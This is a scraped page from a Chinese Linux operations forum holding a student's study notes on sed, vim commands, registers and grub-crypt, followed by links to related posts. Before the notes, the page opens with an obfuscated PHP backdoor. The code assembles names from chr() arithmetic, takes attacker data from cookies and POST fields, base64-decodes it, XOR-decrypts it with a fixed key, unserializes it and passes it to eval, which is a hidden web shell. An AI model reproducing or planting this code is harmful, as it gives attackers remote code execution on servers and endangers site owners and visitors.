$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 08.08 笔记总结 | Linux运维部落

08.08 笔记总结

1. 使用sed显示特定行 

sed -n '20p' /etc/passwd  // 显示/etc/passwd中第20行

命令相当于  cat /etc/passwd | head -20 | tail -1

2. sed -ibak '/^UUID.*/d' /etc/fstab

   -i 选项  bak  原文件的确被修改,但是在源文件的上层目录下, 将原文件备份且名字为***.bak  这样的名字。

3. sed @@@g  //  g选项表示整行替代, 否则的话, 只替代每行的第一个

4.&表示匹配到的内容, 只在s替换操作中才有效, 在普通操作时不起作用的。

5. vim -m 表示文件以只读方式打开, 如果只是想打开文件查看的话, 尽量使用-m参数,养成一个良好的习惯。

   vim -b 二进制文件   

   vim -d file1  file2  …

6. 有时候我们使用vim编辑一个文件的时候, 可能会习惯的操作ctrl+s保存操作。这时会锁屏, 不能进行任何操作, 这时可以按ctrl+q可用来解锁文件。当屏幕被锁定的话,我们要想到这一点。

7. 在命令行模式下, 可以使用 ZZ (等介于:wq)

可以使用ZQ (等价于:q!)

8. :w 表示临时存盘。

9. 在vim扩展命令模式下,不退出文件直接执行系统命令

!command   不退出文件的情况下,执行系统命令

r!command  将系统命令执行的结果直接输入到光标文件所在行的下一行

10. grub-crypt       //  生成sha1加密过的512位密文

    grub-md5-crypt   //  生成md5加密过的密文

11. ctrl + a  == home

    ctrl + e  == end

12. 在vim模式下如果进入指定行:

在命令行模式下, 输入#G就跳转到相应的行

在扩展命令行模式下, 输入:# 就可以进入相应的行

跳行其实最常用的其实就会向第一行跳或则向最后一行跳,

第一行跳: 1G gg

最后一行跳:   GG

13. 文件中的内容是可以跨文本复制的, 其实和Windows系统复制是一样的.

14. 可以粘贴的不止只有复制的内容, 还有删除的内容, 其实无论是复制的, 还是删除的都存放到了黏贴板上。

15. R 可以直接进入到替换模式, 相当于Windows下的insert.

16. 100iwang [ESC] 粘贴 "wang" 100次。

17. 在 vim 模式下, 可以使用sed下的替换删除功能。

    在扩展命令行模式下, :%s@@@ 

18. u  U

u 撤销最近的更改

#u 撤销之前多次更改

U 撤销光标落在这行后所有次行的更改

      按ctrl -r 重做最后的"撤销"更改

. 重复前一个操作

n.  重复前一个操作n次

19. vim的寄存器

有26个命名寄存器和1个无命名寄存器, 常存放不同的剪贴板内容, 可以在不同会话间共享.

a,b,…,z, 用"寄存器表示, 存放数字和命令直接之间"

如:  3"tty  表示复制3行到t寄存器中

"tp 表示将t寄存器内容粘贴

未指定, 将使用无命名寄存器

有10个数字寄存器, 用0,1,…9表示,0存放最近复制内容,1存放最近删除内容。当最新的文本变更和删除时,1转存到2,2转存到3。以此类推,数字寄存器不能再不同会话间共享。

20. 可视化模式:

     v  面向字符

     V   面向行

     ctrl-v  面向块

选中的内容可以通过d删除或则p显示。

21.如果关于vim默认的选项的话, vim 也有自己的配置文件/etc/vimrc

不同用户的家目录下也有配置文件  ~/.vimrc。

22. cat   tac    reb

    tac    上下

    reb    左右

24. vimtutor   // 有关于vim的帮助文档, 只要将当前系统语言选择为汉语, 这个文本中的内容都变成了汉语。

原创文章,作者:458813466,如若转载,请注明出处:http://www.178linux.com/32260

(0)
上一篇 2016-08-12 09:01
下一篇 2016-08-12 09:01

相关推荐

  • 第二次作业

    一、只显示某目录下隐藏文件    答案1:#ls -d /tmp/*/    但是此答案是我在同学知道下完成,但是原理没明白 如果单独执行        #ls -d  &nbsp…

    Linux干货 2016-08-03
  • ldd 的一个安全问题

    我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的,这就是这个命令的用处。可是,这个命令比你想像的要危险得多,也许很多黑客通过ldd的安全问题来攻击你的服务器。其实,ldd的安全问题存在很长的时间了,但居然没有被官方文档所记录来下,这听上去更加难以理解了。怎么?是不是听起来有点不可思议?下面,让我为你细细道来。 首…

    Linux干货 2016-05-05
  • 马哥教育网络19期+第四周练习博客

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。  cp /etc/skel /home/tuser1  chmod -R  700 /home/tuser1 2、编辑/etc/group文件,…

    Linux干货 2016-06-19
  • Linux开学一周的学习心得

    Linux,这个名字第一次听到是通过张超老师给我讲解,因为我在学校学的是金融数学,平时对这方面没有太多接触。当时对Linux就知道是个系统,随后在网上搜了搜,了解也不太多。 直到今天已经来马哥教育一星期了,刚入学的这一星期上课,都是一些基本的命令,感觉学着还蛮有意思,教学的安排也非常合理,我们大家学一天还能自己动手操作一天,既能专心听课,又能把学到的知识巩固…

    2017-07-15
  • 22期第十周课堂练习

    1、请详细描述CentOS系统的启动流程(详细到每个过程系统做了哪些事情)     2、为运行于虚拟机上的CentOS 6添加一块新硬件,提供两个主分区;       (1) 为硬盘新建两个主分区;并为其安装grub;       (2) 为硬盘的第一个主分区提供内核和ramdi…

    Linux干货 2016-10-24
  • 批量创建用户(8月1日作业)

    1、创建用户gentoo,附加组为bin和root,默认shell为/bin/csh,注释信息为"Gentoo Distribution" 2、创建下面的用户、组和组成员关系 名字为admins的组;  用户natasha,使用admins作为附属组;  用户harry,也使用admins作为附属组 &nbs…

    Linux干货 2016-08-04